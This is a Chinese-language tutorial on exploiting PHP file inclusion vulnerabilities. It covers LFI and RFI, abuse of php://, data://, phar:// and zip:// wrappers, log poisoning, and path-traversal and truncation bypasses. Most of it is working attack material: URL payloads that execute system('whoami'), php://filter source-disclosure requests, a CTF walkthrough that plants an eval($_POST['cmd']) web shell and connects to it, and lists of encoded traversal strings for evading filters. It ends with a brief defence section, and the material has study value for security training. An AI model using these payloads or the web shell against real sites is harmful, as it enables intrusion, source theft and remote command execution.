0×01 文件包含
Q:什么是文件包含?
A:简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,
直接使用包含文件的代码。
Q:文件包含漏洞的成因是什么?
A:在包含文件的时候,为了灵活包含文件,将包含文件设置为变量,通过动态变量来引入需要包含的文件时,
用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞,
通常文件包含漏洞出现在PHP语言中。
文件包含漏洞的形成,简单来说,需要满足两个条件:
1、用户能够控制这个动态变量
2、include()等函数通过动态变量的方式引入需要包含的文件
0×02 涉及文件包含的危险函数
php中引发文件包含漏洞的通常是以下四个函数:
include()
include_once()
require()
require_once()
include():包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
require():包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
include_once():和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require_once():和 require 类似,不同处在于 require_once 只导入一次。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析,测试代码:
<?php
$file = $_GET['file'];
include $file;
?>
在同目录下有个phpinfo.txt,其内容为<? phpinfo(); ?>
。则只需要访问:
index.php?file=phpinfo.txt
即可成功解析phpinfo。
0×03 出现文件包含的场景
1、具有相关的文件包含函数。
2、文件包含函数中存在动态变量,比如 include $file;。
3、攻击者能够控制该变量,比如$file = $_GET['file'];。
0×04 文件包含分类
LFI(Local File Inclusion)
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。
RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置
1.allow_url_fopen = On
2.allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
0×05 php伪协议
php://input
利用条件:
- allow_url_include = On。
- 对allow_url_fopen不做要求。
姿势:
index.php
?file=php://input
POST:
<? phpinfo();?>
php://filter
解释:filter 是一个元封装器,设计用于数据流打开时筛选过滤应用
通常利用该伪协议来读取php源码,通过设定编码方式(以base64编码为例),可以防止读取的内容被当做php代码解析
利用条件:无
姿势:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
>>> import base64
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其他姿势:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。
例题
题目地址:http://4.chinalover.sinaapp.com/web7/index.php
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
phar://
利用条件:
- php版本大于等于php5.3.0
姿势:
假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>
,打包成zip压缩包,如下:
指定绝对路径
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
或者使用相对路径(这里test.zip就在当前目录下)
index.php?file=phar://test.zip/phpinfo.txt
zip://
利用条件:
- php版本大于等于php5.3.0
姿势:
构造zip包的方法同phar。
但使用zip协议,需要指定绝对路径,同时将#
编码为%23
,之后填上压缩包内的文件。
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
若是使用相对路径,则会包含失败。
data://
利用条件:
- php版本大于等于php5.2
- allow_url_fopen = On
- allow_url_include = On
姿势一:
index.php?file=data:text/plain,<?php phpinfo();?>
执行命令:
index.php?file=data:text/plain,<?php system('whoami');?>
姿势二:
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加号+
的url编码为%2b
,PD9waHAgcGhwaW5mbygpOz8+
的base64解码为:<?php phpinfo();?>
执行命令:
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
的base64解码为:<?php system('whoami');?>
0×06 php包含日志
包含日志
访问日志
利用条件: 需要知道服务器日志的存储路径,且日志文件可读。
姿势:
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。
这里以一道题目来学习包含日志
simple-log1.6后台写入缓存漏洞
【验证条件】
后台账号密码已知,知道日志位置
【验证过程】
1、访问http://ip/admin/admin.php?act=pre_login登录后台
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LwbgH2jE-1610095342830)(https://hub.yunyansec.com/media/resource/images/20210106/image-eMq60FuV.png)]
2、进入后台,在博客设置>>博客描述处插入一句话木马
3、再次访问博客设置的缓存文件http://ip/home/cache/sl_config.php,发现文件写入成功
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O4hKKKyK-1610095342841)(https://hub.yunyansec.com/media/resource/images/20210106/222-K2Ee5jRy.png)]
4、蚁剑连接,得到flag
【EXP/POC】
```php
<?php @eval($_POST["cmd"]);?>
0×07 文件包含绕过姿势
指定前缀
先考虑一下指定了前缀的情况吧。测试代码:
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
目录遍历
这个最简单了,简要的提一下。
现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>
,则利用../
可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/test.txt
则服务器端实际拼接出来的路径为:/var/www/html/…/…/log/test.txt,也即/var/log/test.txt。从而包含成功。
编码绕过
服务器端常常会对于../
等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。
- 利用url编码
- …/
- %2e%2e%2f
- …%2f
- %2e%2e/
- …\
- %2e%2e%5c
- …%5c
- %2e%2e\
- …/
- 二次编码
- …/
- %252e%252e%252f
- …\
- %252e%252e%255c
- …/
- 容器/服务器的编码方式
- …/
- …%c0%af
- %c0%ae%c0%ae/
- 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
- Apache Tomcat Directory Traversal
- …\
- …%c1%9c
- …/
指定后缀
接着考虑指定后缀的情况。测试代码:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
URL
url格式
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
长度截断
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
index.php?file=././././。。。省略。。。././shell.txt
则后缀/test/test.php
,在达到最大值后会被直接丢弃掉。
0字节截断
利用条件: php版本 < php 5.3.4
index.php?file=phpinfo.txt%00
0×08 防御方案
- 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
- 做好文件的权限管理
- 对危险字符进行过滤等等